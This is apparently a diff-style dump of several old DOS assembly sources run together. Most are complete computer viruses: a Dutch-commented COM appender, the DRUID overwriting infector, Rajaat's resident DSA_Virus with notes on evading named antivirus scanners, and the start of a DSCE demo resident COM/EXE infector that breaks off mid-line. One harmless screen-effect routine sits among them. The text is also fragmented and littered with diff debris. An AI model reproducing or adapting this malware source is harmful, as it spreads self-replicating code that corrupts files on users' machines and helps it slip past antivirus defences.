mov ax,2508H ;set new Int 8 vector
|
||||
INT 21H
|
||||
|
||||
MOV DX,offset Start ;program end
|
||||
MOV CL,4
|
||||
SHR DX,CL ;compute size in paras
|
||||
INC DX ;safeside
|
||||
MOV AH,31H ;advanced TSR
|
||||
INT 21H
|
||||
|
||||
DB 'DRIP Version 2.01',0 ;,CR,LF
|
||||
DB 'G. Masters 5/25/87',0 ;,CR,LF
|
||||
db 'Toad Hall 880421',0
|
||||
; DB 1AH
|
||||
; DB 90H
|
||||
Start endp
|
||||
|
||||
|
||||
Cseg ENDS
|
||||
END Drip
|
||||
|
|
@ -0,0 +1,146 @@
|
|||
; Com-infector ...
|
||||
|
||||
IDEAL ; Informatie voor de
|
||||
MODEL SMALL ; assembler (TASM)
|
||||
CODESEG ; om een COM file
|
||||
ORG 100h ; te genereren.
|
||||
|
||||
VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat
|
||||
; dit virus groot is.
|
||||
FIRST:
|
||||
DB 0FBh ; Markering dat deze
|
||||
; file geinfecteerd
|
||||
; is.
|
||||
DB 0E9h ; Een 3-bytes ge-
|
||||
DW 00000h ; infecteerde file.
|
||||
|
||||
VX: CALL RELATIVE ; Zet die offset van
|
||||
RELATIVE: ; RELATIVE in BP,
|
||||
POP BP ; trekt daar de positie
|
||||
SUB BP,OFFSET RELATIVE ; van RELATIVE af in
|
||||
; de originele file
|
||||
; (deze file),
|
||||
; en zo kan de relative
|
||||
; positie van de data
|
||||
; in het geheugen
|
||||
; bepaalt worden.
|
||||
MOV AH,009h ; Laat waarschuwing
|
||||
LEA DX,[BP + MEDEDELING] ; zien.
|
||||
INT 021h ;
|
||||
LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3
|
||||
MOV DI,0100h ; bytes van de ge-
|
||||
CLD ; infecteerde file
|
||||
MOVSW ; terug.
|
||||
MOVSW ;
|
||||
MOV AH,02Fh ; Bewaar de pointer
|
||||
INT 021h ; naar het DTA blok.
|
||||
MOV [WORD PTR CS:BP + OLD_DTA ],BX ;
|
||||
MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ;
|
||||
MOV AH,01Ah ; Zet die pointer naar
|
||||
LEA DX,[BP + NEW_DTA] ; het DTA blok van dit
|
||||
INT 021h ; virus.
|
||||
|
||||
MOV AH,04Eh ; Zoek de eerste COM
|
||||
MOV CX,022h ; file in deze
|
||||
LEA DX,[BP + FILE_NAME] ; directory.
|
||||
JMP FIND ;
|
||||
|
||||
AGAIN: MOV AH,04Fh ; Volgende COM file.
|
||||
|
||||
FIND: INT 021h ; Zoek, en als er
|
||||
JC EXIT ; geen COM files meer
|
||||
; in deze directory
|
||||
; zijn, dan naar EXIT.
|
||||
MOV AX,03D02h ; Open de te infecteren
|
||||
LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de
|
||||
INT 021h ; file handle in BX.
|
||||
MOV BX,AX ;
|
||||
MOV AH,03Fh ; Lees de eerste 4
|
||||
MOV CX,00004h ; bytes in.
|
||||
LEA DX,[BP + OLD_BYTES] ;
|
||||
MOV DI,DX ;
|
||||
INT 021h ;
|
||||
|
||||
CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB
|
||||
JE AGAIN ; dan naar AGAIN.
|
||||
MOV AX,04202h ; Ga naar 't einde
|
||||
XOR CX,CX ; van de file.
|
||||
XOR DX,DX ;
|
||||
INT 021h ;
|
||||
|
||||
OR DX,DX ; Als de file grote is
|
||||
JNZ AGAIN ; dat een segment niet
|
||||
; infecteren, want dan
|
||||
; kan het geen COM
|
||||
; file zijn.
|
||||
; (Terug naar AGAIN)
|
||||
CMP AX,1024 ; Is de file kleiner
|
||||
JB AGAIN ; dan 1024, dan naar
|
||||
NOT_2_SMALL: ; AGAIN.
|
||||
|
||||
CMP AX,50000 ; Ook groter dan 50000
|
||||
JA AGAIN ; infecteren we niet.
|
||||
; (dan terug naar AGAIN)
|
||||
SUB AX,00004h ; Bereken waar die jump
|
||||
MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de
|
||||
; geinfecteerde file
|
||||
; heen moet springen.
|
||||
MOV AH,040h ; Append 't virus
|
||||
MOV CX,VX_LEN ; aan de file.
|
||||
LEA DX,[BP + VX] ;
|
||||
INT 021h ;
|
||||
|
||||
MOV AX,04200h ; Ga naar 't begin van
|
||||
XOR CX,CX ; de file.
|
||||
XOR DX,DX ;
|
||||
INT 021h ;
|
||||
MOV AH,040h ; Schrijf de markering
|
||||
MOV CX,00004h ; en de jump naar 't
|
||||
LEA DX,[BP + NEW_BYTES] ; virus aan 't begin
|
||||
INT 021h ; van de file.
|
||||
|
||||
MOV AH,03Eh ; Sluit de file.
|
||||
INT 021h ;
|
||||
JMP AGAIN ; Spring naar AGAIN.
|
||||
|
||||
EXIT:
|
||||
PUSH DS ; Save DS.
|
||||
MOV DX,[WORD PTR CS:BP + OLD_DTA ]
|
||||
MOV AX,[WORD PTR CS:BP + OLD_DTA + 2]
|
||||
MOV DS,AX
|
||||
MOV AH,01Ah
|
||||
INT 021h
|
||||
POP DS ; Restore DS.
|
||||
MOV SI,0100h ; Start de originele
|
||||
JMP SI ; file op.
|
||||
|
||||
; *** Data ***
|
||||
|
||||
Mededeling:
|
||||
|
||||
DB "This file contains a virus!!! Please COLD-boot from a write protected"
|
||||
DB 00Dh, 00Ah
|
||||
DB "system disk and use you anti virus software!!!$"
|
||||
|
||||
Disclaimer:
|
||||
|
||||
DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
|
||||
DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
|
||||
|
||||
Auteur:
|
||||
|
||||
DB "(C) 1994 - [DàRkRàY] retired virus writer..."
|
||||
|
||||
OLD_BYTES: NOP
|
||||
NOP
|
||||
NOP
|
||||
RET
|
||||
|
||||
FILE_NAME: DB "*.COM",0h
|
||||
|
||||
NEW_BYTES DB 0FBh, 0E9h, ?, ?
|
||||
|
||||
OLD_DTA DW ?, ?
|
||||
NEW_DTA DW 34 DUP(?)
|
||||
|
||||
END FIRST
|
|
@ -0,0 +1,99 @@
|
|||
;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using
|
||||
;VCL recommended switches. When screen is thoroughly dropsie'd, that is all
|
||||
;letters have fallen to a single line across the bottom of the monitor,
|
||||
;the routine will exit to DOS and restore the command prompt. I excerpted
|
||||
;quite a bit of this from some public domain video routines optimized for
|
||||
;the accursed a86 assembler and reworked the whole magilla until TASM
|
||||
;wouldn't choke when swallowing the source. It attempts to meet
|
||||
;minimum requirements for VCL formatting. Heck, this is a nice routine
|
||||
;to have at your fingertips; you gotta admit a CASCADE-virus-like effect
|
||||
;is always something people wanna see. And it's commented up the
|
||||
;kazoo, one of the features I like best about VCL code. Hope you find
|
||||
;it useful. -URNST KOUCH
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
jmp Start
|
||||
|
||||
main proc near
|
||||
|
||||
Row dw 24 ;Rows to do initially
|
||||
|
||||
;First, get current video mode and page.
|
||||
Start: mov cx,0B800h ;color display, color video mem for page 1
|
||||
mov ah,15 ;Get current video mode
|
||||
int 10h
|
||||
cmp al,2 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,3 ;Color?
|
||||
je A2 ;Yes
|
||||
cmp al,7 ;Mono?
|
||||
je A1 ;Yes
|
||||
int 20h ;No,quit
|
||||
|
||||
;here if 80 col text mode; put video segment in ds.
|
||||
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
|
||||
A2: mov bl,0 ;bx=page offset
|
||||
add cx,bx ;Video segment
|
||||
mov ds,cx ;in ds
|
||||
|
||||
;start dropsy effect
|
||||
xor bx,bx ;Start at top left corner
|
||||
A3: push bx ;Save row start on stack
|
||||
mov bp,80 ;Reset column counter
|
||||
;Do next column in a row.
|
||||
A4: mov si,bx ;Set row top in si
|
||||
mov ax,[si] ;Get char & attr from screen
|
||||
cmp al,20h ;Is it a blank?
|
||||
je A7 ;Yes, skip it
|
||||
mov dx,ax ;No, save it in dx
|
||||
mov al,20h ;Make it a space
|
||||
mov [si],ax ;and put on screen
|
||||
add si,160 ;Set for next row
|
||||
mov di,cs:Row ;Get rows remaining
|
||||
A5: mov ax,[si] ;Get the char & attr from screen
|
||||
mov [si],dx ;Put top row char & attr there
|
||||
A6: call Vert ;Wait for 2 vert retraces
|
||||
mov [si],ax ;Put original char & attr back
|
||||
;Do next row, this column.
|
||||
add si,160 ;Next row
|
||||
dec di ;Done all rows remaining?
|
||||
jne A5 ;No, do next one
|
||||
mov [si-160],dx ;Put char & attr on line 25 as junk
|
||||
;Do next column on this row.
|
||||
A7: add bx,2 ;Next column, same row
|
||||
dec bp ;Dec column counter; done?
|
||||
jne A4 ;No, do this column
|
||||
;Do next row.
|
||||
A8: pop bx ;Get current row start
|
||||
add bx,160 ;Next row
|
||||
dec cs:Row ;All rows done?
|
||||
jne A3 ;No
|
||||
A9: mov ax,4C00h
|
||||
int 21h ;Yes, quit to DOS with error code
|
||||
|
||||
;routine to deal with snow on CGA screen.
|
||||
Vert: push ax
|
||||
push dx
|
||||
push cx ;Save all registers used
|
||||
mov cl,2 ;Wait for 2 vert retraces
|
||||
mov dx,3DAh ;CRT status port
|
||||
F1: in al,dx ;Read status
|
||||
test al,8 ;Vert retrace went hi?
|
||||
je F1 ;No, wait for it
|
||||
dec cl ;2nd one?
|
||||
je F3 ;Yes, write during blanking time
|
||||
F2: in al,dx ;No, get status
|
||||
test al,8 ;Vert retrace went low?
|
||||
jne F2 ;No, wait for it
|
||||
jmp F1 ;Yes, wait for next hi
|
||||
F3: pop cx
|
||||
pop dx
|
||||
pop ax ;Restore registers
|
||||
ret ;and return
|
||||
|
||||
main endp
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,139 @@
|
|||
fname equ 9eh ; pointer to filename in DTA
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
druid proc far
|
||||
vstart equ $
|
||||
|
||||
start:
|
||||
mov ax,2EBh ; used to baffle sourcer...
|
||||
jmp $-2 ;
|
||||
|
||||
mov dx,offset newint ; set int1 to newint
|
||||
mov ax,2501h
|
||||
int 21h
|
||||
|
||||
mov al,3 ; set int3 to newint
|
||||
int 21h
|
||||
|
||||
mov dx,offset newint ; do it again...
|
||||
mov ax,2501h
|
||||
int 21h
|
||||
mov al,1
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; get current directory
|
||||
xor dl,dl ; and save it
|
||||
lea si,currdir
|
||||
int 21h
|
||||
|
||||
again:
|
||||
|
||||
lea dx,fmask
|
||||
mov ah,4Eh ; Find first *.COM
|
||||
getfile:
|
||||
int 21h
|
||||
|
||||
jnc found_ok ;if ok, goto found_ok
|
||||
jmp short bailout ;if no more files, goto bail out
|
||||
nop
|
||||
found_ok:
|
||||
mov si,fname ; load filename into ax
|
||||
lodsw
|
||||
cmp ax,'OC' ; if first 3 letters is "CO"
|
||||
; as in "COMMAND.COM"
|
||||
jne infect ; if not, go on
|
||||
jmp getnext ; else, get another file
|
||||
|
||||
mov ax,2EBh ; used to baffle sourcer...
|
||||
jmp $-2
|
||||
infect:
|
||||
mov dx,fname ; get attribute
|
||||
mov ax,4300h ; of the file found
|
||||
int 21h
|
||||
push cx ; and save it
|
||||
|
||||
xor cx,cx ; reset attributes
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
|
||||
mov ax,2EBh ; used to baffle sourcer...
|
||||
jmp $-2
|
||||
|
||||
mov dx,fname ; open file
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jc getnext ; if error, skip to loc_5
|
||||
|
||||
xchg ax,bx ; get handle in bx
|
||||
|
||||
mov ax,5700h ; get time'n date
|
||||
int 21h
|
||||
push dx ; save'em
|
||||
push cx
|
||||
|
||||
mov ah,40h ; write virus to target
|
||||
mov cx,virlen ; number of bytes to write
|
||||
mov dx,fname ; pointer to file
|
||||
int 21h
|
||||
|
||||
pop cx ; restore the date'n time
|
||||
pop dx
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ; close target
|
||||
int 21h
|
||||
|
||||
pop cx ; restore the attributes
|
||||
mov ax,4301h
|
||||
mov dx,fname
|
||||
int 21h
|
||||
getnext:
|
||||
mov ah,4Fh ; get next file matching *.COM
|
||||
jmp short getfile
|
||||
bailout:
|
||||
mov ax,2EBh ; used to baffle sourcer...
|
||||
jmp $-2
|
||||
|
||||
lea dx,dot_dot ; "cd.."
|
||||
mov ah,3Bh
|
||||
int 21h
|
||||
|
||||
jc exit ; if error, goto exit
|
||||
jmp short again ; do it all over again
|
||||
exit:
|
||||
mov ax,2EBh ; used to baffle sourcer...
|
||||
jmp $-2
|
||||
|
||||
mov ah,3Bh ; change back to
|
||||
lea dx,return_dir ; original directory
|
||||
int 21h
|
||||
|
||||
mov ax,4C00h ; quit to dos with
|
||||
int 21h ; errorlevel 0
|
||||
|
||||
id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
|
||||
|
||||
druid endp
|
||||
|
||||
newint proc far ; replaces INT1 and INT3
|
||||
iret ; with this.
|
||||
newint endp
|
||||
|
||||
fmask db '*.COM',0
|
||||
dot_dot db '..',0
|
||||
return_dir db '\' ; the slash is used when
|
||||
currdir dw 32 dup (?) ; returning to old dir.
|
||||
|
||||
vend equ $
|
||||
virlen equ vend - vstart
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,224 @@
|
|||
;=====( DSA_Virus by Rajaat )==================================================
|
||||
;
|
||||
; Memory resident appending COM infector, residing in the stack space reserved
|
||||
; for the DOS AH < 0ch calls. Works through TBFILE using SFT manipulation,
|
||||
; obtained through the DSA. File date/time won't be altered and the virus can
|
||||
; circumvent attributes. The virus is, compiled with TASM, a mere 263 bytes
|
||||
; long.
|
||||
;
|
||||
;==============================================================================
|
||||
;
|
||||
; Virus name : DSA_Virus
|
||||
; Author : Rajaat
|
||||
; Origin : United Kingdom, July 1996
|
||||
; Compiling : Using TASM
|
||||
;
|
||||
; TASM /M DSAVIRUS
|
||||
; TLINK /T DSAVIRUS
|
||||
; Targets : COM files
|
||||
; Size : 263 bytes
|
||||
; Resident : Yes, no decrease in memory reported
|
||||
; Polymorphic : No
|
||||
; Encrypted : No
|
||||
; Stealth : Memory only, by utilizing dos stack space
|
||||
; Tunneling : Uses SFT to avoid some monitors
|
||||
; Retrovirus : Yes, uses TbSpoof
|
||||
; Antiheuristics: Yes
|
||||
; Peculiarities : Makes extensive use of the Dos Swappable Area (DSA)
|
||||
; Drawbacks : Might crash, I'm not sure :)
|
||||
; Behaviour : The first time the DSA virus is executed, it will check if
|
||||
; it's already resident in memory by looking at the first byte
|
||||
; in the DOS stack, located in the DSA. If this resembles a
|
||||
; mov bp,xxxx instruction, it's already resident and the DSA
|
||||
; virus will return control to the host program. If not, the
|
||||
; virus will install itself in the DOS stack area, reserved for
|
||||
; DOS INT 21 functions below 0ch. It will hook INT 21. If a
|
||||
; program is executed while the DSA virus is resident, it will
|
||||
; open it in read-only mode. Then it will use the DSA to locate
|
||||
; the current SFT. In the SFT it modifies the read-only mode to
|
||||
; read/write, effectively passing the file checks of TBFILE. It
|
||||
; will also clear the file attributes during the infection
|
||||
; process by using the SFT. The DSA virus will read the first
|
||||
; 5 bytes of the file and checks wether the file is already
|
||||
; infected or if it is an EXE file. If both checks are passed
|
||||
; successfully, it will write itself at the end of the file
|
||||
; and patches the start of the COM file to point at its code.
|
||||
; The infected file increases by 263 bytes. Before closing the
|
||||
; file, the DSA virus sets the file date/time update flag, so
|
||||
; the date won't change after infection. After infection it
|
||||
; will set the file attribute again and return control to it's
|
||||
; caller.
|
||||
;
|
||||
; It's unknown what this virus might do besides replicate :)
|
||||
;==============================================================================
|
||||
;
|
||||
; Results with antivirus software
|
||||
;
|
||||
; TBFILE - Doesn't detect it
|
||||
; TBSCAN - Doesn't detect it
|
||||
; TBMEM - Detects it
|
||||
; TBCLEAN - Cleans it, so what?
|
||||
; SVS - Detects it
|
||||
; SSC - Doesn't detect it
|
||||
; F-PROT - Doesn't detect it
|
||||
; F-PROT /ANALYSE - Doesn't detect it
|
||||
; F-PROT /ANALYSE /PARANOID - Doesn't detect it
|
||||
; AVP - Detects it
|
||||
; VSAFE - Corrupts infected files on my system!
|
||||
; NEMESIS - I don't try this one anymore
|
||||
;
|
||||
;==============================================================================
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.radix 16
|
||||
.286 ; why bother with XT?
|
||||
|
||||
org 100
|
||||
|
||||
DSA_Virus: mov bp,0 ; delta offset
|
||||
Relative_Offset equ $-2
|
||||
mov ax,5d06 ; get DSA pointer
|
||||
int 21 ;
|
||||
|
||||
cmp byte ptr [si+600],0bdh ; mov bp in stack memory?
|
||||
jne Install_TSR ; no, install virus
|
||||
|
||||
;=====( Return to host )=======================================================
|
||||
|
||||
Return_to_host: push cs cs ; move 5 bytes to offset 100h
|
||||
pop ds es ; and execute host
|
||||
lea si,COM_Host[bp]
|
||||
pop ax
|
||||
mov di,0ff
|
||||
stosb
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
|
||||
;=====( Install virus in memory )==============================================
|
||||
|
||||
Install_TSR: xchg ax,si
|
||||
test al,0f ; DSA at paragraph boundary?
|
||||
jnz Return_to_host ; no, abort
|
||||
|
||||
add ah,5 ; DSA+600 = DOS stack for
|
||||
shr ax,4 ; ah < 0ch, virus re-aligns
|
||||
mov bx,ds ; segment, so offset is
|
||||
add ax,bx ; 100, like in COM files
|
||||
push cs
|
||||
pop ds
|
||||
mov es,ax
|
||||
lea si,DSA_Virus[bp]
|
||||
mov di,100
|
||||
mov cx,Virus_Length
|
||||
Move_Virus: lodsb
|
||||
stosb
|
||||
loop Move_Virus ; move virus to stack space
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax,4521 ; get int 21
|
||||
sub ah,10
|
||||
int 21
|
||||
mov word ptr INT_21,bx
|
||||
mov word ptr INT_21+2,es
|
||||
|
||||
mov ah,25 ; set int 21
|
||||
lea dx,New_21
|
||||
int 21
|
||||
|
||||
jmp Return_to_host ; restore host
|
||||
|
||||
;=====( Data to place at the start of a COM file )=============================
|
||||
|
||||
Signature db '[DSA by Rajaat / Genesis]'
|
||||
|
||||
Virus_Jump: db 'PK' ; TbSpoof
|
||||
db 0e9 ; jump to virus
|
||||
|
||||
;=====( First 5 bytes of host data )===========================================
|
||||
|
||||
COM_Host db 0cdh,020h,0,0,0
|
||||
|
||||
;=====( Resident INT 21 handler )==============================================
|
||||
|
||||
New_21: not ax
|
||||
cmp ax,not 4b00 ; execute file?
|
||||
not ax
|
||||
jne Int_21_Done ; no, abort
|
||||
|
||||
Check_Infect: push ax bx dx ds es
|
||||
mov ah,3dh ; open read-only
|
||||
int 21
|
||||
xchg ax,bx
|
||||
|
||||
mov ax,5d06 ; get DSA
|
||||
int 21
|
||||
|
||||
lds si,dword ptr ds:[si+27e] ; get current SFT
|
||||
|
||||
push si ds
|
||||
mov word ptr [si+2],2 ; open mode is now read/write
|
||||
mov al,byte ptr [si+4] ; get file attribute
|
||||
mov byte ptr [si+4],0 ; clear file attribute
|
||||
push ax ; push file attribute on stack
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3f ; read first 5 bytes of host
|
||||
mov cx,5
|
||||
lea dx,COM_Host
|
||||
int 21
|
||||
|
||||
mov ax,word ptr [Com_Host]
|
||||
sub ax,'KP' ; PK signature?
|
||||
jz is_infected ; yes, abort
|
||||
sub ax,'ZM'-'KP' ; MZ signature (EXE file)
|
||||
jz is_infected ; yes, abort
|
||||
|
||||
mov ax,4202 ; goto end of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
mov word ptr Relative_Offset,ax ; store relative offset
|
||||
push ax
|
||||
|
||||
mov ah,1 ; write virus at end of file
|
||||
shl ah,6
|
||||
mov cx,Virus_Length
|
||||
lea dx,DSA_Virus
|
||||
int 21
|
||||
|
||||
mov ax,4200 ; goto start of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21
|
||||
|
||||
pop ax ; calculate jump address
|
||||
mov cx,5
|
||||
sub ax,cx
|
||||
mov word ptr Com_Host,ax
|
||||
|
||||
mov ah,40 ; write jump at start of file
|
||||
lea dx,Virus_Jump
|
||||
int 21
|
||||
|
||||
Is_Infected: pop ax ds si
|
||||
mov byte ptr [si+4],al ; restore file attributes
|
||||
or byte ptr [si+6],40 ; don't change file date/time
|
||||
mov ah,3e ; close file
|
||||
int 21
|
||||
pop es ds dx bx ax
|
||||
Int_21_Done: db 0ea ; chain to old int 21
|
||||
|
||||
Virus_Length equ $-DSA_Virus
|
||||
|
||||
;=====( Data used by the virus, but not written to files )=====================
|
||||
|
||||
INT_21 dd 0
|
||||
|
||||
end DSA_Virus
|
|
@ -0,0 +1,450 @@
|
|||
; A DEMO VIRUS FOR DSCE BY [PF]
|
||||
.286
|
||||
|
||||
DEMO SEGMENT
|
||||
ASSUME CS:DEMO,DS:DEMO
|
||||
ORG 0000
|
||||
|
||||
VIR_LEN EQU OFFSET DSCE_END
|
||||
|
||||
EXTRN DSCE:NEAR,DSCE_END:NEAR
|
||||
|
||||
START: CALL BEG
|
||||
|
||||
BEG PROC
|
||||
BEG ENDP
|
||||
|
||||
CLD
|
||||
MOV AH,62H
|
||||
INT 21H
|
||||
MOV ES,BX
|
||||
POP AX
|
||||
SUB AX,3
|
||||
SHR AX,4
|
||||
MOV DX,CS
|
||||
ADD AX,DX
|
||||
PUSH AX
|
||||
PUSH OFFSET CHK_MEMVIR
|
||||
RETF
|
||||
CHK_MEMVIR: PUSH CS
|
||||
POP DS
|
||||
MOV AX,4BDDH
|
||||
INT 21H
|
||||
CMP AX,0DD4BH
|
||||
JZ RUN_OLD
|
||||
MOV PSP_1,ES
|
||||
MOV PSP_2,ES
|
||||
MOV PSP_3,ES
|
||||
MOV BX,VIR_LEN
|
||||
MOV WORD PTR [BX],0A4F3H
|
||||
MOV BYTE PTR [BX+2],0CBH
|
||||
XOR DI,DI
|
||||
MOV SI,DI
|
||||
MOV AX,ES
|
||||
ADD AX,10H
|
||||
MOV ES,AX
|
||||
MOV CX,VIR_LEN
|
||||
PUSH ES
|
||||
MOV AX,OFFSET CON
|
||||
PUSH AX
|
||||
CLD
|
||||
JMP BX
|
||||
|
||||
RUN_OLD: PUSH ES
|
||||
POP DS
|
||||
CMP CS:FILE_MODE,0
|
||||
JNZ RUN_EXE
|
||||
MOV AX,CS:COM_HEAD1
|
||||
MOV DS:[0100H],AX
|
||||
MOV AH,CS:COM_HEAD2
|
||||
MOV DS:[0102H],AH
|
||||
MOV AX,0100H
|
||||
MOV SP,0FFFEH
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
RETF
|
||||
RUN_EXE: MOV AX,ES
|
||||
ADD AX,10H
|
||||
ADD CS:EXE_SS,AX
|
||||
ADD CS:EXE_CS,AX
|
||||
CLI
|
||||
MOV SS,CS:EXE_SS
|
||||
MOV SP,CS:EXE_SP
|
||||
STI
|
||||
JMP DWORD PTR CS:EXE_IP
|
||||
|
||||
RUN_OLD_M2: MOV AX,CS
|
||||
MOV BX,VIR_LEN
|
||||
ADD BX,200H
|
||||
CLI
|
||||
MOV SS,AX
|
||||
MOV SP,BX
|
||||
STI
|
||||
MOV AH,4AH
|
||||
MOV BX,VIR_LEN
|
||||
ADD BX,BX
|
||||
SHR BX,4
|
||||
ADD BX,200H
|
||||
MOV ES,PSP_1
|
||||
INT 21H
|
||||
MOV ES,ES:[2CH]
|
||||
XOR DI,DI
|
||||
XOR AX,AX
|
||||
MOV CX,0FFFFH
|
||||
GET_NAME: REPNZ SCASB
|
||||
CMP AL,ES:[DI]
|
||||
LOOPNZ GET_NAME
|
||||
ADD DI,3
|
||||
MOV RUN_DX,DI
|
||||
MOV RUN_DS,ES
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV AX,4B00H
|
||||
MOV BX,OFFSET PCB
|
||||
LDS DX,DWORD PTR CS:RUN_DX
|
||||
INT 21H
|
||||
|
||||
MOV AH,4DH
|
||||
INT 21H
|
||||
MOV AH,31H
|
||||
MOV DX,VIR_LEN
|
||||
ADD DX,DX
|
||||
SHR DX,4
|
||||
ADD DX,0F0H
|
||||
INT 21H
|
||||
|
||||
CON: PUSH CS
|
||||
POP DS
|
||||
MOV AX,3521H
|
||||
INT 21H
|
||||
MOV INT21_IP,BX
|
||||
MOV INT21_CS,ES
|
||||
MOV DX,OFFSET INT21
|
||||
MOV AX,2521H
|
||||
INT 21H
|
||||
JMP RUN_OLD_M2
|
||||
|
||||
INT21_IP DW ?
|
||||
INT21_CS DW ?
|
||||
INT24_IP DW ?
|
||||
INT24_CS DW ?
|
||||
RUN_DX DW ?
|
||||
RUN_DS DW ?
|
||||
COM_HEAD1 DW 20CDH
|
||||
COM_HEAD2 DB ?
|
||||
|
||||
EXE_HEAD DW ?
|
||||
EXE_02H DW ?
|
||||
EXE_04H DW ?
|
||||
DW ?
|
||||
EXE_08H DW ?
|
||||
DW 2 DUP(?)
|
||||
EXE_SS DW ?
|
||||
EXE_SP DW ?
|
||||
DW ?
|
||||
EXE_IP DW ?
|
||||
EXE_CS DW ?
|
||||
|
||||
NEW_SIZE_L DW ?
|
||||
NEW_SIZE_H DW ?
|
||||
|
||||
PCB DW 0
|
||||
DW 80H
|
||||
PSP_1 DW ?
|
||||
DW 5CH
|
||||
PSP_2 DW ?
|
||||
DW 6CH
|
||||
PSP_3 DW ?
|
||||
|
||||
PATH_DX DW ?
|
||||
PATH_DS DW ?
|
||||
DATE_CX DW ?
|
||||
DATE_DX DW ?
|
||||
|
||||
FILE_MODE DB 0
|
||||
FILE_ATR DW ?
|
||||
FILE_LEN DW ?
|
||||
|
||||
POP_BUFFER DW ?
|
||||
VIR_BUFFER DB 20H DUP (?)
|
||||
|
||||
SP_BUF DW ?
|
||||
SS_BUF DW ?
|
||||
|
||||
VIR_MSG DB "This is a DSCE's Demo Virus written by [P.F]"
|
||||
|
||||
INT21: PUSHF
|
||||
CLD
|
||||
CALL INF_PUSH
|
||||
CMP AX,4BDDH
|
||||
JNZ I21_CON
|
||||
CALL INF_POP
|
||||
MOV AX,0DD4BH
|
||||
POPF
|
||||
IRET
|
||||
|
||||
I21_CON: CMP AX,4B00H
|
||||
JZ I21_RUN
|
||||
I21_END: CALL INF_POP
|
||||
POPF
|
||||
JMP DWORD PTR CS:INT21_IP
|
||||
I21_CLOSE: MOV AH,3EH
|
||||
INT 21H
|
||||
JMP I21_END
|
||||
I21_RUN: MOV CS:PATH_DS,DS
|
||||
MOV CS:PATH_DX,DX
|
||||
MOV AX,3D00H
|
||||
INT 21H
|
||||
I21_END_L1: JC I21_END
|
||||
XCHG AX,BX
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AX,5700H
|
||||
INT 21H
|
||||
CMP DX,0C800H
|
||||
JA I21_CLOSE
|
||||
MOV DATE_CX,CX
|
||||
MOV DATE_DX,DX
|
||||
MOV AH,3FH
|
||||
MOV CX,3
|
||||
MOV DX,OFFSET COM_HEAD1
|
||||
INT 21H
|
||||
CMP AX,CX
|
||||
JNZ I21_CLOSE
|
||||
CMP COM_HEAD1,4D5AH
|
||||
JZ SET_MODE
|
||||
CMP COM_HEAD1,5A4DH
|
||||
JNZ SET_M_COM
|
||||
SET_MODE: MOV FILE_MODE,1
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
MOV AH,3FH
|
||||
MOV CX,18H
|
||||
MOV DX,OFFSET EXE_HEAD
|
||||
INT 21H
|
||||
JMP SHORT I21_OPEN
|
||||
SET_M_COM: MOV FILE_MODE,0
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
OR DX,DX
|
||||
JNZ I21_CLOSE
|
||||
CMP AX,0C000H
|
||||
JA I21_CLOSE
|
||||
MOV FILE_LEN,AX
|
||||
I21_OPEN: MOV AH,3EH
|
||||
INT 21H
|
||||
PUSH PATH_DX
|
||||
PUSH PATH_DS
|
||||
POP DS
|
||||
POP DX
|
||||
MOV AX,4300H
|
||||
INT 21H
|
||||
JC I21_END_L1
|
||||
MOV CS:FILE_ATR,CX
|
||||
MOV AX,4301H
|
||||
XOR CX,CX
|
||||
INT 21H
|
||||
MOV AX,3D02H
|
||||
INT 21H
|
||||
JC I21_END_L2
|
||||
XCHG AX,BX
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH BX
|
||||
MOV AX,3524H
|
||||
INT 21H
|
||||
MOV INT24_IP,BX
|
||||
MOV INT24_CS,ES
|
||||
MOV AX,2524H
|
||||
MOV DX,OFFSET INT24
|
||||
INT 21H
|
||||
POP BX
|
||||
CALL WRITE
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
MOV AX,2524H
|
||||
PUSH INT24_IP
|
||||
PUSH INT24_CS
|
||||
POP DS
|
||||
POP DX
|
||||
INT 21H
|
||||
PUSH CS:PATH_DX
|
||||
PUSH CS:PATH_DS
|
||||
POP DS
|
||||
POP DX
|
||||
MOV AX,4301H
|
||||
MOV CX,CS:FILE_ATR
|
||||
INT 21H
|
||||
I21_END_L2: JMP I21_END
|
||||
|
||||
INT24: XOR AL,AL
|
||||
IRET
|
||||
|
||||
WRITE PROC
|
||||
MOV SP_BUF,SP
|
||||
MOV SS_BUF,SS
|
||||
MOV AX,VIR_LEN + 5DCH
